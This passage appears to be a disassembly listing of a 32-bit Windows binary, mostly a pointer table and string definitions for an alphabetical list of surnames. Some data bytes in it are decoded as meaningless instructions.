aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" ; --------------------------------------------------------------------------- aam 0FEh inc edx add al, cl inc byte ptr [edx+0] mov esp, 0B40042FEh inc byte ptr [edx+0] lodsb inc byte ptr [edx+0] test al, 0FEh inc edx add [eax-67FFBD02h], ah inc byte ptr [edx+0] nop inc byte ptr [edx+0] mov dh, bh inc edx add [eax+780042FEh], al inc byte ptr [edx+0] loc_42DEC8: ; CODE XREF: ___:loc_42DEC8j jo short loc_42DEC8 inc edx add [eax-2], ch inc edx add [eax-2], ah inc edx add [eax-2], bl inc edx add [eax-2], dl inc edx add [eax-2], cl inc edx add [eax-2], al inc edx add [eax], bh inc byte ptr [edx+0] xor dh, bh inc edx add [eax], ch inc byte ptr [edx+0] sbb dh, bh inc edx add [eax], dl inc byte ptr [edx+0] add al, 0FEh inc edx add al, bh std inc edx add al, dh std inc edx add ah, ah std inc edx add al, bl std inc edx add al, dl std inc edx add ah, al std inc edx add [ebp+edi*8-24BFFBEh], bh inc edx add [ebp+edi*8-25BFFBEh], ch inc edx add [ebp+edi*8-26FFFBEh], bl inc edx add [eax+7C0042FDh], cl std inc edx add [ebp+edi*8+42h], dh add [ebp+edi*8+42h], ch add [eax-3], ah inc edx add [eax-3], bl inc edx add [eax-3], dl inc edx add [eax-3], cl inc edx add [eax-3], al inc edx add [eax], bh std inc edx add [eax], dh std inc edx add [eax], ch std inc edx add [eax], ah std inc edx add [eax], bl std inc edx add [eax], dl std inc edx add [eax], cl std inc edx add ah, bh cld inc edx add al, bh cld inc edx add al, dh cld inc edx add al, ch cld inc edx add al, ah cld inc edx add ah, dl cld inc edx add ah, cl cld inc edx add ah, al cld inc edx add [eax-4FFFBD04h], bh cld inc edx add [eax-5FFFBD04h], ch cld inc edx add [eax-6FFFBD04h], bl cld inc edx add [eax+7C0042FCh], cl cld inc edx add [esp+edi*8+42h], dh add [esp+edi*8+42h], ch add [eax-4], ah inc edx add [eax-4], bl inc edx add [eax-4], dl inc edx add [eax-4], cl inc edx add [eax-4], al inc edx add [eax], bh cld inc edx add [eax], dh cld inc edx add [esp+edi*8], ah inc edx add [eax], ah cld inc edx add [eax], bl cld inc edx add [eax], dl cld inc edx add [eax], cl cld inc edx ; --------------------------------------------------------------------------- db 0 dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" ; --------------------------------------------------------------------------- clc jmp short loc_42E715 ; --------------------------------------------------------------------------- align 4 dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" ; --------------------------------------------------------------------------- fsub st(3), st inc edx add al, dl jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 enter 42EBh, 0 shr bl, 42h add [eax-4FFFBD15h], bh jmp short loc_42E735 ; --------------------------------------------------------------------------- align 4 test al, 0EBh inc edx add [eax-67FFBD15h], ah jmp short loc_42E741 ; --------------------------------------------------------------------------- align 10h dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" ; --------------------------------------------------------------------------- push 580042EBh loc_42E715: ; CODE XREF: ___:0042E6D1j jmp short loc_42E759 ; --------------------------------------------------------------------------- align 4 dd offset aUsdan ; "Usdan" ; --------------------------------------------------------------------------- dec eax jmp short loc_42E761 ; --------------------------------------------------------------------------- align 10h dd offset aVacca ; "Vacca" db 38h ; --------------------------------------------------------------------------- loc_42E725: ; CODE XREF: ___:0042E6E1j jmp short loc_42E769 ; --------------------------------------------------------------------------- align 4 xor bl, ch inc edx add [ebx+ebp*8], ah inc edx add [ebx+ebp*8], bl inc edx add [eax], dl loc_42E735: ; CODE XREF: ___:0042E6F1j jmp short loc_42E779 ; --------------------------------------------------------------------------- align 4 dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" db 0F4h ; --------------------------------------------------------------------------- loc_42E741: ; CODE XREF: ___:0042E6FDj jmp far ptr 42h:0EAE80042h ; --------------------------------------------------------------------------- dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" ; --------------------------------------------------------------------------- shr dl, 42h add [eax-4FFFBD16h], bh loc_42E759: ; CODE XREF: ___:loc_42E715j jmp far ptr 42h:0EAA40042h ; --------------------------------------------------------------------------- cwde loc_42E761: ; CODE XREF: ___:0042E71Dj jmp far ptr 42h:0EA8C0042h ; --------------------------------------------------------------------------- db 80h ; --------------------------------------------------------------------------- loc_42E769: ; CODE XREF: ___:loc_42E725j jmp far ptr 42h:0EA740042h ; --------------------------------------------------------------------------- dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" ; --------------------------------------------------------------------------- pop eax loc_42E779: ; CODE XREF: ___:loc_42E735j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E860o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E85Co align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042E858o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E854o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E850o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E84Co aZegans db 'Zegans',0 ; DATA XREF: ___:0042E848o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E844o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E840o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E83Co aYu db 'Yu',0 ; DATA XREF: ___:0042E838o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E834o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E830o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E82Co align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E828o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042E824o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E820o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E81Co align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042E818o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E814o aYankee db 'Yankee',0 ; DATA XREF: ___:0042E810o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042E80Co align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042E808o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042E804o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E800o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7FCo align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042E7F8o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7F4o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042E7F0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7ECo align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7E8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7E4o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7E0o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7DCo align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7D8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7D4o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7D0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E7CCo align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E7C8o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E7C4o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E7C0o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E7BCo align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E7B8o aViens db 'Viens',0 ; DATA XREF: ___:0042E7B4o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E7B0o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E7ACo aViano db 'Viano',0 ; DATA XREF: ___:0042E7A8o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042E7A4o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E7A0o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E79Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E798o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E794o aWhately db 'Whately',0 ; DATA XREF: ___:0042E790o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E78Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E788o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E784o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042E780o align 10h aWengret db 'Wengret',0 aWelsh db 'Welsh',0 align 10h aWelles db 'Welles',0 ; DATA XREF: ___:0042E774o align 4 aVelasquez db 